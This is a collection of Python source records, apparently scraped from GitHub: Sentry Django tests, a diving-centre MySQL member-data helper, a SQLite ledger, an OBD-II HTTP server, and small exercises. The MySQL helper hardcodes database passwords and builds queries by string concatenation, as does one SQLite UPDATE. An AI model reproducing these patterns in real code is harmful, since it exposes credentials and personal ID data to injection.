event[\"request\"][\"url\"] == \"http://localhost/view-exc\"\n\n\ndef test_middleware_exceptions(sentry_init, client, capture_exceptions):\n sentry_init(integrations=[DjangoIntegration()], send_default_pii=True)\n exceptions = capture_exceptions()\n client.get(reverse(\"middleware_exc\"))\n\n (error,) = exceptions\n assert isinstance(error, ZeroDivisionError)\n\n\ndef test_request_captured(sentry_init, client, capture_events):\n sentry_init(integrations=[DjangoIntegration()], send_default_pii=True)\n events = capture_events()\n content, status, headers = client.get(reverse(\"message\"))\n assert b\"\".join(content) == b\"ok\"\n\n (event,) = events\n assert event[\"transaction\"] == \"/message\"\n assert event[\"request\"] == {\n \"cookies\": {},\n \"env\": {\"SERVER_NAME\": \"localhost\", \"SERVER_PORT\": \"80\"},\n \"headers\": {\"Host\": \"localhost\"},\n \"method\": \"GET\",\n \"query_string\": \"\",\n \"url\": \"http://localhost/message\",\n }\n\n\ndef test_transaction_with_class_view(sentry_init, client, capture_events):\n sentry_init(\n integrations=[DjangoIntegration(transaction_style=\"function_name\")],\n send_default_pii=True,\n )\n events = capture_events()\n content, status, headers = client.head(reverse(\"classbased\"))\n assert status.lower() == \"200 ok\"\n\n (event,) = events\n\n assert (\n event[\"transaction\"] == \"tests.integrations.django.myapp.views.ClassBasedView\"\n )\n assert event[\"message\"] == \"hi\"\n\n\n@pytest.mark.forked\n@pytest.mark.django_db\ndef test_user_captured(sentry_init, client, capture_events):\n sentry_init(integrations=[DjangoIntegration()], send_default_pii=True)\n events = capture_events()\n content, status, headers = client.get(reverse(\"mylogin\"))\n assert b\"\".join(content) == b\"ok\"\n\n assert not events\n\n content, status, headers = client.get(reverse(\"message\"))\n assert b\"\".join(content) == b\"ok\"\n\n (event,) = events\n\n assert event[\"user\"] == {\n \"email\": \"lennon@thebeatles.com\",\n \"username\": \"john\",\n \"id\": \"1\",\n }\n\n\n@pytest.mark.forked\n@pytest.mark.django_db\ndef test_queryset_repr(sentry_init, capture_events):\n sentry_init(integrations=[DjangoIntegration()])\n events = capture_events()\n User.objects.create_user(\"john\", \"lennon@thebeatles.com\", \"johnpassword\")\n\n try:\n my_queryset = User.objects.all() # noqa\n 1 / 0\n except Exception:\n capture_exception()\n\n (event,) = events\n\n (exception,) = event[\"exception\"][\"values\"]\n assert exception[\"type\"] == \"ZeroDivisionError\"\n (frame,) = exception[\"stacktrace\"][\"frames\"]\n assert frame[\"vars\"][\"my_queryset\"].startswith(\n \"= (1, 7):\n views_tests.append(\n (\n reverse(\"template_test\"),\n '- op=\"django.template.render\": description=\"user_name.html\"',\n ),\n )\n\n for url, expected_line in views_tests:\n events = capture_events()\n _content, status, _headers = client.get(url)\n transaction = events[0]\n assert expected_line in render_span_tree(transaction)\n\n\ndef test_middleware_spans(sentry_init, client, capture_events, render_span_tree):\n sentry_init(\n integrations=[DjangoIntegration()],\n traces_sample_rate=1.0,\n _experiments={\"record_sql_params\": True},\n )\n events = capture_events()\n\n _content, status, _headers = client.get(reverse(\"message\"))\n\n message, transaction = events\n\n assert message[\"message\"] == \"hi\"\n\n if DJANGO_VERSION >= (1, 10):\n assert (\n render_span_tree(transaction)\n == \"\"\"\\\n- op=\"http.server\": description=null\n - op=\"django.middleware\": description=\"django.contrib.sessions.middleware.SessionMiddleware.__call__\"\n - op=\"django.middleware\": description=\"django.contrib.auth.middleware.AuthenticationMiddleware.__call__\"\n - op=\"django.middleware\": description=\"django.middleware.csrf.CsrfViewMiddleware.__call__\"\n - op=\"django.middleware\": description=\"tests.integrations.django.myapp.settings.TestMiddleware.__call__\"\n - op=\"django.middleware\": description=\"tests.integrations.django.myapp.settings.TestFunctionMiddleware.__call__\"\n - op=\"django.middleware\": description=\"django.middleware.csrf.CsrfViewMiddleware.process_view\"\n - op=\"django.view\": description=\"message\"\\\n\"\"\"\n )\n\n else:\n assert (\n render_span_tree(transaction)\n == \"\"\"\\\n- op=\"http.server\": description=null\n - op=\"django.middleware\": description=\"django.contrib.sessions.middleware.SessionMiddleware.process_request\"\n - op=\"django.middleware\": description=\"django.contrib.auth.middleware.AuthenticationMiddleware.process_request\"\n - op=\"django.middleware\": description=\"tests.integrations.django.myapp.settings.TestMiddleware.process_request\"\n - op=\"django.middleware\": description=\"django.middleware.csrf.CsrfViewMiddleware.process_view\"\n - op=\"django.view\": description=\"message\"\n - op=\"django.middleware\": description=\"tests.integrations.django.myapp.settings.TestMiddleware.process_response\"\n - op=\"django.middleware\": description=\"django.middleware.csrf.CsrfViewMiddleware.process_response\"\n - op=\"django.middleware\": description=\"django.contrib.sessions.middleware.SessionMiddleware.process_response\"\\\n\"\"\"\n )\n\n\ndef test_middleware_spans_disabled(sentry_init, client, capture_events):\n sentry_init(\n integrations=[DjangoIntegration(middleware_spans=False)], traces_sample_rate=1.0\n )\n events = capture_events()\n\n _content, status, _headers = client.get(reverse(\"message\"))\n\n message, transaction = events\n\n assert message[\"message\"] == \"hi\"\n\n assert not transaction[\"spans\"]\n\n\ndef test_csrf(sentry_init, client):\n \"\"\"\n Assert that CSRF view decorator works even with the view wrapped in our own\n callable.\n \"\"\"\n\n sentry_init(integrations=[DjangoIntegration()])\n\n content, status, _headers = client.post(reverse(\"csrf_hello_not_exempt\"))\n assert status.lower() == \"403 forbidden\"\n\n content, status, _headers = client.post(reverse(\"sentryclass_csrf\"))\n assert status.lower() == \"403 forbidden\"\n\n content, status, _headers = client.post(reverse(\"sentryclass\"))\n assert status.lower() == \"200 ok\"\n assert b\"\".join(content) == b\"ok\"\n\n content, status, _headers = client.post(reverse(\"classbased\"))\n assert status.lower() == \"200 ok\"\n assert b\"\".join(content) == b\"ok\"\n\n content, status, _headers = client.post(reverse(\"message\"))\n assert status.lower() == \"200 ok\"\n assert b\"\".join(content) == b\"ok\"\n","repo_name":"sillsdev/debian-sentry-python","sub_path":"tests/integrations/django/test_basic.py","file_name":"test_basic.py","file_ext":"py","file_size_in_byte":21936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19356992613","text":"# coding=utf-8\n\nimport os\nimport datetime\nimport pprint\n\nimport pymysql\nimport pandas as pd\n\npost = {\n \"author\": \"Maxsu\",\n \"text\": \"My first blog post!\",\n \"tags\": [\"mongodb\", \"python\", \"pymongo\"],\n \"date\": datetime.datetime.utcnow()\n}\n\n# https://www.learncodewithmike.com/2020/02/python-mysql.html\n\n\n# 資料庫參數設定\ndb_iDivingSettings57 = {\n \"host\": \"192.168.12.57\",\n \"port\": 3306,\n \"user\": \"admin\",\n \"password\": \"admin220\",\n \"db\": \"iDiving\",\n \"charset\": \"utf8\"\n}\n\ndb_iDivingSettings249 = {\n \"host\": \"192.168.12.249\",\n \"port\": 3306,\n \"user\": \"admin\",\n \"password\": \"admin220\",\n \"db\": \"iDiving\",\n \"charset\": \"utf8\"\n}\n\n# home資料庫參數設定\ndb_homeSettings157 = {\n \"host\": \"192.168.5.157\",\n \"port\": 3306,\n \"user\": \"admin\",\n \"password\": \"admin220\",\n \"db\": \"iDiving\",\n \"charset\": \"utf8\"\n}\n\n\nclass MysqlStore():\n def __init__(self, diving_center):\n print(\"MysqlStore__init__\")\n if diving_center == 'idiving':\n self.today = datetime.datetime.now()\n print(\"MysqlStore__init__self.today\", self.today)\n # 建立Connection物件\n self.conn = pymysql.connect(**db_iDivingSettings57)\n print(\"MysqlStore__init__self.conn\", self.conn)\n\n def mysqltest():\n print(\"mysqltestinit\")\n # 建立Connection物件\n conn = pymysql.connect(**db_iDivingSettings57)\n # 建立Cursor物件\n with conn.cursor() as cursor:\n # 新增資料指令\n command = \"SELECT 姓名, 身分證字號, 出生日期, 會員期限 FROM `人員名冊` WHERE (身分 = '學員' OR 身分 = '俱') and (會員期限 >= CURDATE() and 會員期限 != '' ) and (MONTH(出生日期)>4 and MONTH(出生日期)<6);\"\n # 執行指令\n cursor.execute(command)\n # 取得所有資料\n result = cursor.fetchall()\n # 取得第一筆資料\n #result = cursor.fetchone()\n print(\" \")\n print(\"Read\", cursor.rowcount, \"row(s) of data.\")\n print(\" \")\n print(result)\n print(\" \")\n\n msg = '\\n'\n msg += u'月份 當月會員生日名單\\n'\n msg += u'姓名, 身分證字號, 出生日期, 會員期��\\n'\n for row in result:\n print(row[0] + ', ' + row[1] + ', ' + str(row[2]) + ', ' + str(row[3]))\n msg += row[0] + ', ' + row[1] + ', ' + str(row[2]) + ', ' + str(row[3]) + '\\n'\n\n print(msg)\n return msg\n\n def CourseStatisticsQuery(command):\n print(\"mysqltestinit\")\n # 建立Connection物件\n conn = pymysql.connect(**db_iDivingSettings57)\n # 建立Cursor物件\n with conn.cursor() as cursor:\n # 新增資料指令\n #command = \"SELECT * FROM `TransactionRecord` WHERE (課程選擇 LIKE '%自由潛水%' OR 課程選擇 LIKE '%FD%' OR 課程選擇 LIKE '%LV1%');\"\n # 執行指令\n cursor.execute(command)\n # 取得所有資料\n result = cursor.fetchall()\n # 取得第一筆資料\n #result = cursor.fetchone()\n print(\" \")\n print(\"Read\", cursor.rowcount, \"row(s) of data.\")\n print(\" \")\n print(result)\n print(\" \")\n\n return cursor.rowcount\n\n #判斷 TransactionRecord(交易紀錄) 中文姓名 & 繳費紀錄 這兩欄資料是否重複\n def TransactionRecordQuery(name, tradingdata):\n print(\"TransactionRecordQuery\")\n # 建立Connection物件\n conn = pymysql.connect(**db_iDivingSettings57)\n # 建立Cursor物件\n with conn.cursor() as cursor:\n # 新增資料指令\n command = \"SELECT * FROM TransactionRecord WHERE 中文姓名 = '\" + \\\n str(name) + \"' AND 繳費紀錄 = '\" + str(tradingdata) + \"';\"\n # 執行指令\n cursor.execute(command)\n # 取得所有資料\n result = cursor.fetchall()\n # 取得第一筆資料\n #result = cursor.fetchone()\n if cursor.rowcount != 0:\n print(\" \")\n print(\"Read\", cursor.rowcount, \"row(s) of data.\")\n print(\" \")\n print(result)\n print(\" \")\n return str(cursor.rowcount)\n elif cursor.rowcount == 0:\n print(\"Read\", cursor.rowcount, \"row(s) of data.\")\n return 'norepeat'\n print(\"Finished\")\n\n def TransactionRecordUpdata():\n print(\"TransactionRecordUpdata\")\n\n print(\"Finished\")\n\n def TransactionRecorAdd(dfmembers, into, state):\n print(\"TransactionRecordAdd\")\n # 建立Connection物件\n conn = pymysql.connect(**db_iDivingSettings57)\n # 建立Cursor物件\n with conn.cursor() as cursor:\n # 新增資料指令\n command = \"INSERT INTO TransactionRecord(時間戳記, 課程選擇, 中文姓名, 身分證字號, 手機號碼, EMail, 繳費紀錄, 狀態)VALUES(%s, %s, %s, %s, %s, %s, %s, %s)\"\n val = (dfmembers.iat[into, 0], #時間戳記\n dfmembers.iat[into, 1], #課程選擇\n dfmembers.iat[into, 2], #中文姓名\n dfmembers.iat[into, 3], #身分證字號\n dfmembers.iat[into, 26].replace('-', ''), #手機號碼\n dfmembers.iat[into, 31], #EMail\n dfmembers.iat[into, 4], #繳費紀錄\n str(state)) #狀態\n # 執行指令\n cursor.execute(command, val)\n conn.commit()\n\n print(\"Finished\")\n\n # 判斷 BasicPersonalData(基本資料) 姓名 & 身分證字號 這兩欄資料是否重複\n def BasicPersonalDataQuery(name, idnumber):\n print(\"BasicPersonalDataQuery\")\n # 建立Connection物件\n conn = pymysql.connect(**db_iDivingSettings57)\n # 建立Cursor物件\n with conn.cursor() as cursor:\n # 新增資料指令\n command = \"SELECT * FROM BasicPersonalData WHERE 姓名 = '\" + \\\n str(name) + \"' AND 身分證字號 = '\" + str(idnumber) + \"';\"\n # 執行指令\n cursor.execute(command)\n # 取得所有資料\n result = cursor.fetchall()\n # 取得第一筆資料\n #result = cursor.fetchone()\n if cursor.rowcount != 0:\n print(\" \")\n print(\"Read\", cursor.rowcount, \"row(s) of data.\")\n print(\" \")\n print(result)\n print(\" \")\n return str(cursor.rowcount)\n elif cursor.rowcount == 0:\n print(\"Read\", cursor.rowcount, \"row(s) of data.\")\n return 'nodata'\n print(\"Finished\")\n\n def BasicPersonalDataAdd(dfmembers, intno, state):\n print(\"BasicPersonalDataAdd_init\")\n\n datetime_dt = datetime.datetime.now()\n toyear = datetime_dt.strftime(\"%Y\")\n print(\"BasicPersonalDataAdd_datetime \", datetime_dt.strftime(\"%Y%m%d%H%M%S\"))\n # 建立Connection物件\n conn = pymysql.connect(**db_iDivingSettings57)\n # 建立Cursor物件\n with conn.cursor() as cursor:\n # 新增資料指令\n command = \"INSERT INTO BasicPersonalData(年份, 姓名, 行動電話, 身分證字號, 備註, 公司, 職稱, 公司電話, 來源, 住家電話, 暱稱, 郵遞區號, 地址, 緊急連絡人, 連絡人電話, 出生日期, 英文姓名, 國籍, EMail, MID, 繳費日期, 會員期限, 血型, 左眼, 右眼, 身高, 體重)VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n val = (toyear, # 年份\n dfmembers.iat[intno, 2], # 姓名\n dfmembers.iat[intno, 26].replace('-', ''), # 行動電話\n dfmembers.iat[intno, 3], # 身分證字號\n dfmembers.iat[intno, 76], # 備註\n '', # 公司\n '', # 職稱\n dfmembers.iat[intno, 30], # 公司電話\n dfmembers.iat[intno, 54], # 來源\n '', # 住家電話\n '', # 暱稱\n '', # 郵遞區號\n dfmembers.iat[intno, 33], # 地址\n dfmembers.iat[intno, 41], # 緊急連絡人\n dfmembers.iat[intno, 42], # 連絡人電話\n dfmembers.iat[intno, 27], # 出生日期\n dfmembers.iat[intno, 28], # 英文姓名\n dfmembers.iat[intno, 29], # 國籍\n dfmembers.iat[intno, 31], # EMail\n '', # MID\n '', # 繳費日期\n '', # 會員期限\n dfmembers.iat[intno, 43], # 血型\n dfmembers.iat[intno, 38], # 左眼\n dfmembers.iat[intno, 37], # 右眼\n dfmembers.iat[intno, 35], # 身高\n dfmembers.iat[intno, 36] # 體重\n )\n\n # 執行指令\n cursor.execute(command, val)\n conn.commit()\n\n print(\"Finished\")\n\n# 年份,\n# 姓名,\n# 行動電話,\n#身分證字號, dfmembers.iat[intno, 3]\n#備註, dfmembers.iat[intno, 76]\n#公司, ''\n#職稱, ''\n#公司電話, dfmembers.iat[intno, 24]\n#來源, dfmembers.iat[intno, 48]\n#住家電話, ''\n# 暱稱,\n#郵遞區號, ''\n#地址, dfmembers.iat[intno, 27]\n#緊急聯絡人, dfmembers.iat[intno, 35]\n#聯絡人電話, dfmembers.iat[intno, 36]\n#出生日期, dfmembers.iat[intno, 21]\n#英文姓名, dfmembers.iat[intno, 22]\n#國籍, dfmembers.iat[intno, 23]\n#EMail, dfmembers.iat[intno, 24]\n#MID, ''\n#繳費日期, ''\n# 會員期限,''\n#血型, dfmembers.iat[intno, 37]\n#左眼, dfmembers.iat[intno, 32]\n#右眼, dfmembers.iat[intno, 31]\n#身高, dfmembers.iat[intno, 28]\n#體重 dfmembers.iat[intno, 29]\n\n","repo_name":"thothieon/Octopus","sub_path":"mysqlstore.py","file_name":"mysqlstore.py","file_ext":"py","file_size_in_byte":10051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"42777259893","text":"\n# to check number exceptions\ntry:\n a = int(input(\"enter number 1: \"))\n b = int(input(\"enter number 2: \"))\n result = a/b\n print(result)\nexcept TypeError as e:\n print(\"Something went wrong\", e)\nexcept ValueError as e:\n print(\"Enter the correct value\", e)\nexcept ZeroDivisionError as e:\n print(\"Enter the non zero value\", e)\n\n# to check file I/O exceptions\ntry:\n f = open(\"/Users/siddu.kampli/PycharmProjects/selenium_test/TestData.txt\", \"r\")\n print(f.read())\nexcept FileNotFoundError as e:\n print(\"File doesn't exist\", e)\n\n","repo_name":"ksiddu/selenium_python","sub_path":"basics_test/exception1_test.py","file_name":"exception1_test.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"19295854291","text":"import sqlite3\nimport warnings\nfrom pathlib import Path\nfrom shutil import copy\nfrom typing import Dict, List, NamedTuple, Optional, Tuple, Union\nfrom zlib import crc32\n\n\nclass Transaction(NamedTuple):\n date: str\n name: str\n amount: float\n category: Optional[str] = \"__UNKNOWN__\"\n\n\nclass Database:\n def __init__(self, database_file_path):\n self.database_file_path = database_file_path\n self.connection = None\n\n def __enter__(self):\n db = _Database(self.database_file_path)\n self.connection = db.connection\n return db\n\n def __exit__(self, exception_type, exception_value, exception_traceback):\n if self.connection is not None:\n self.connection.close()\n if exception_type is not None:\n return False # Re-raise exception.\n\n\nclass _Database:\n def __init__(self, database_file_path):\n self.database_file_path = Path(database_file_path)\n self.database_file_path.parent.mkdir(parents=True, exist_ok=True)\n self.connection = sqlite3.connect(database_file_path)\n self.cursor = self.connection.cursor()\n self.table_name = \"bank_records\"\n\n # Create the table if it does not yet exist.\n check = self.cursor.execute(\n \"SELECT name \"\n \"FROM sqlite_master \"\n 'WHERE type=\"table\" '\n f'AND name=\"{self.table_name}\"'\n )\n db_exists = len(check.fetchall())\n assert db_exists in [0, 1]\n if not db_exists:\n self.cursor.execute(\n f\"CREATE TABLE {self.table_name}(\"\n \"date TEXT,\"\n \"name TEXT,\"\n \"amount FLOAT,\"\n \"category TEXT,\"\n \"UNIQUE(date, name, amount)\"\n \")\"\n )\n\n def add_transactions(\n self,\n transaction_list: List[Transaction],\n raise_on_duplicate=False,\n ) -> None:\n for tx in transaction_list:\n assert isinstance(tx, Transaction)\n\n # Match each transaction to a category, if known.\n transactions_with_categories = self.match_transactions_to_categories(\n transaction_list\n )\n\n # After matching each transaction to a category, add them to db.\n for tx in transactions_with_categories:\n try:\n self.cursor.execute(\n f\"INSERT INTO {self.table_name} VALUES (?, ?, ?, ?)\", tx\n )\n except sqlite3.IntegrityError:\n # UNIQUE constraint failed. Entry already exists. Don't add.\n msg = (\n f\"Entry date, name, and amount already exists: {tx}. \"\n \"Will not add this transaction to the database.\"\n )\n if raise_on_duplicate:\n print(msg)\n raise\n else:\n warnings.warn(msg)\n except Exception:\n print(f\"Error when adding transaction: {tx}\")\n raise\n self.connection.commit()\n\n def match_transactions_to_categories(\n self, transaction_list: List[Transaction]\n ) -> List[Transaction]:\n transactions_with_categories = []\n for tx in transaction_list:\n category = self.get_category_by_name(tx.name)\n if tx.category != \"__UNKNOWN__\" and category != \"__UNKNOWN__\":\n if tx.category != category:\n raise ValueError(\n f'Transaction with name \"{tx.name}\" passed to the '\n f'database with category \"{tx.category}\" but this name '\n f'is already associated with category \"{category}\".'\n )\n if category == \"__UNKNOWN__\":\n category = tx.category\n transaction = Transaction(\n date=tx.date,\n name=tx.name,\n amount=tx.amount,\n category=category,\n )\n transactions_with_categories.append(transaction)\n return transactions_with_categories\n\n def get_category_by_name(self, name: str) -> Optional[str]:\n category_list = self.cursor.execute(\n f\"SELECT DISTINCT category FROM {self.table_name} WHERE name=?\",\n (name,),\n ).fetchall()\n if len(category_list) == 0:\n return \"__UNKNOWN__\"\n assert len(set(category_list)) == 1\n return category_list[0][0]\n\n def get_uncategorized_names(self) -> Dict[str, int]:\n \"\"\"\n Sorts the distinct names according to how often they appear.\n \"\"\"\n result = self.cursor.execute(\n \"SELECT name, COUNT(*) \"\n f\"FROM {self.table_name} \"\n \"WHERE category=? \"\n \"GROUP BY name \"\n \"ORDER BY COUNT(*) ASC, SUM(amount) ASC, name DESC\",\n (\"__UNKNOWN__\",),\n )\n return dict(result.fetchall())\n\n def set_name_category(self, name: str, category: Optional[str]) -> None:\n if category is None:\n set_to = \"NULL\"\n else:\n set_to = f\"'{category}'\"\n self.cursor.execute(\n f\"UPDATE {self.table_name} SET category={set_to} WHERE name=?\",\n (name,),\n )\n self.connection.commit()\n\n def get_all_categories(self) -> List[Union[None, str]]:\n result = self.cursor.execute(\n f\"SELECT DISTINCT category FROM {self.table_name}\"\n )\n retval = [val[0] for val in result.fetchall() if val[0] is not None]\n return retval\n\n def hash(self):\n result = self.cursor.execute(\n f\"SELECT * FROM {self.table_name}\"\n ).fetchall()\n transaction_string_list = []\n for tx in result:\n transaction_string_list.append(\"\".join([str(v) for v in tx]))\n db_string = \"\\n\".join(sorted(transaction_string_list))\n db_hash_dec = crc32(db_string.encode(\"utf-8\"))\n db_hash = hex(db_hash_dec)[2:] # Skip initial '0x'; doesn't change\n return db_hash\n\n def backup(self):\n \"\"\"\n If a backup with the same hash does not already exist, create one.\n\n Format: \"{filename}.backup_{hash}\"\n\n Example: \"db.sql.backup_d7f030ec\"\n \"\"\"\n hash_db = self.hash()\n backup_fn = f\"{self.database_file_path.name}.backup_{hash_db}\"\n backup_path = Path(self.database_file_path.parent, backup_fn)\n if not backup_path.exists():\n copy(\n self.database_file_path,\n backup_path,\n )\n","repo_name":"veugene/accountant","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":6573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"13609342417","text":"'''\nLogging exercise solution\n\nauthor: Josh\ndate: March 27, 2021\n'''\nimport logging\n\nlogging.basicConfig(\n filename='./results.log',\n level=logging.INFO,\n filemode='w',\n format='%(name)s - %(levelname)s - %(message)s')\n\ndef sum_vals(first_val, second_val):\n '''\n Args:\n first_val: (int)\n second_val: (int)\n Return:\n first_val + second_val (int)\n '''\n try:\n logging.info(\"%s, %s\", first_val, second_val)\n assert isinstance(first_val, int)\n assert isinstance(second_val, int)\n logging.info(\"SUCCESS: it looks likes the values are ints\")\n return first_val + second_val\n except AssertionError:\n logging.error(\"It appears the a and b are not ints\")\n\nif __name__ == \"__main__\":\n sum_vals(4, 5)\n sum_vals('no', 'way')\n","repo_name":"vothuckhanhhuyen/machine-learning-devops-engineer-nanodegree-udacity","sub_path":"section1-clean-code-principles/lesson3-production-ready-code/logging_solution_2.py","file_name":"logging_solution_2.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"0"}
+{"seq_id":"34221685131","text":"import obd\nfrom encoders import CustomOBDEncoder\nimport argparse\nimport json\nfrom http.server import ThreadingHTTPServer, BaseHTTPRequestHandler\n\nfrom commands_to_watch import COMMANDS_TO_WATCH\n\n\ndef start_obd_http_server(obd_port: str = None, commands=COMMANDS_TO_WATCH) -> None:\n connection = obd.Async(obd_port)\n for cmd in commands:\n connection.watch(obd.commands[cmd])\n connection.start()\n\n class OBDHTTPRequestHandler(BaseHTTPRequestHandler):\n\n def end_headers(self):\n self.send_header('Access-Control-Allow-Origin', '*')\n self.send_header('Access-Control-Allow-Methods', '*')\n self.send_header('Access-Control-Allow-Headers', '*')\n self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')\n return super().end_headers()\n\n def do_OPTIONS(self):\n self.send_response(200)\n self.end_headers()\n\n def do_GET(self):\n data = {}\n self.send_response(200)\n self.send_header(\"Content-type\", \"application/json\")\n self.end_headers()\n for cmd in commands:\n data[cmd] = connection.query(obd.commands[cmd])\n self.wfile.write(json.dumps(data, cls=CustomOBDEncoder).encode())\n\n httpd = ThreadingHTTPServer((\"\", 8000), OBDHTTPRequestHandler)\n print(\"HTTP Server started at http://127.0.0.1:8000/\")\n httpd.serve_forever()\n\n\ndef get_args() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-p\", \"--port\", type=str, default=None, help=\"OBD port\")\n args = parser.parse_args()\n return args\n\n\ndef main() -> None:\n args = get_args()\n obd_port = args.port\n\n start_obd_http_server(obd_port=obd_port)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ayomidebajo/chronicle_attestation","sub_path":"obd/http_server.py","file_name":"http_server.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"27184341156","text":"# 01\nwith open('readme.txt') as f:\n lines = f.readlines()\n lines_number = len(lines)\n words_number = 0\n characters_number = 0\n for line in lines:\n for word in line.split(' '):\n words_number += 1\n for char in word:\n if char.isalpha():\n characters_number += 1\n\n print(lines_number, words_number, characters_number)\n\n\n# 02\nimport csv\n\ndata_dict = {}\nwith open(\"data.csv\", 'r') as file:\n reader = csv.DictReader(file)\n\n for row in reader:\n data_dict[row['Name']] = {'Age': row['Age'], 'Location': row['Location']}\n\nprint(data_dict)\n\n# 03\nwith open('binary.bin', 'rb') as binary_file:\n binary_data = binary_file.read()\n\nhexadecimal_string = binary_data.hex()\n\nwith open('hexadecimal_output.txt', 'w') as text_file:\n text_file.write(hexadecimal_string)\n\n# 04\nwith open('numbers.txt', 'r') as f:\n lines = f.readlines()\n numbers_list = [int(line) for line in lines]\n print(sum(numbers_list))\n\n# 05\nfile_name = 'readme.txt'\nwith open(file_name, 'r') as f:\n lines = f.readlines()\n new_text = []\n for line in lines:\n if line != '\\n':\n new_text.append(line)\n\n\nwith open(file_name, 'w') as f:\n f.writelines(''.join(new_text))\n","repo_name":"LyubomiraVelinova/Kreativstorm-training-program","sub_path":"02/file_handling.py","file_name":"file_handling.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7057669703","text":"from sqlalchemy.orm import Session\n\nfrom .models import AppLocation, Property\nfrom datetime import date, timedelta\nfrom uuid import UUID\n\n\ndef save_app_location(db: Session, houmer_id, latitude, longitude, speed, timestamp):\n db_app_location = AppLocation(\n houmer_id = houmer_id,\n latitude = latitude,\n longitude = longitude,\n speed = speed,\n timestamp = timestamp\n )\n db.add(db_app_location)\n db.commit()\n db.refresh(db_app_location)\n\n return db_app_location\n\n\ndef get_locations_by_houmer_and_date(db: Session, houmer_id: UUID, search_date: date):\n instance = (\n db.query(AppLocation)\n .filter(\n AppLocation.houmer_id == houmer_id,\n AppLocation.timestamp > search_date,\n AppLocation.timestamp < search_date + timedelta(days=1)\n )\n .all()\n )\n return instance\n\n\ndef get_property_list(db: Session):\n return db.query(Property).all()\n\n\ndef get_property_by_id(db: Session, id):\n return db.query(Property).filter_by(id=id).one_or_none()\n\ndef save_property(db: Session, id, name, latitude, longitude, geofence):\n instance = None\n if id != None:\n instance = (\n db.query(Property).filter_by(id=id).one_or_none()\n )\n if instance:\n instance.name = name\n instance.latitude = latitude\n instance.longitude = longitude\n instance.geofence = geofence\n db.commit()\n db.refresh(instance)\n else:\n instance = Property(\n id = id,\n name = name,\n latitude = latitude,\n longitude = longitude,\n geofence = geofence\n )\n db.add(instance)\n db.commit()\n db.refresh(instance)\n else:\n instance = Property(\n name = name,\n latitude = latitude,\n longitude = longitude,\n geofence = geofence\n )\n db.add(instance)\n db.commit()\n db.refresh(instance)\n\n return instance\n","repo_name":"mauvencode/rest-app-back","sub_path":"app/db/repositories.py","file_name":"repositories.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"29434725311","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef splineQuadratica(Xs, Ys, x):\n from interpolacaoNewton import InterpoladorNewton\n IN = InterpoladorNewton(Xs, Ys)\n IN.construirTabelaDiferencaDividida()\n # si = (fxiant*(xi - x)/(xi - xiant)) + (fxi*(x - xiant)/(xi - xiant))\n si = IN.interpolarEm(x)\n return si\n\n\ndef geraSplineQuadraticaNosPontos(Xs, Ys, t):\n yt = []\n for i in t:\n yt.append(splineQuadratica(Xs, Ys, i))\n return yt \n\n\ndef geraSplineQuadratica(x, y):\n splinesTotal = []\n XsTotal = []\n YsTotal = []\n for i in range(0,len(x)-3, 2):\n ti = np.linspace(x[i], x[i+2], 100)\n Xs = [x[i], x[i+1], x[i+2], x[i+3]]\n Ys = [y[i], y[i+1], y[i+2], y[i+3]]\n si = geraSplineQuadraticaNosPontos(Xs, Ys, ti)\n splinesTotal.append([ti, si])\n XsTotal = [*XsTotal[:], *Xs[:]]\n YsTotal = [*YsTotal[:], *Ys[:]]\n\n return XsTotal, YsTotal, splinesTotal\n\n\ndef plotarGraficoDasSplines(XsTotal, YsTotal, splines):\n cores = ['r', 'g', 'b', 'c', 'm', 'y', 'k']\n plt.plot(XsTotal, YsTotal, 'bo')\n for cor, spline in enumerate(splines):\n plt.plot(spline[0], spline[1], f'{cores[cor%7]}-')\n\n plt.show()\n\n\nx = np.linspace(0,10, num=11, endpoint=True)\nfx = np.cos(-x**2/9.0)\n\nXsTotal, YsTotal, sTotal = geraSplineQuadratica(x, fx)\n# print(sTotal)\nplotarGraficoDasSplines(XsTotal, YsTotal, sTotal)","repo_name":"oJordany/quartoPeriodoFacul","sub_path":"matematicaComputacional/exercicioAula11A13/splineCubica.py","file_name":"splineCubica.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
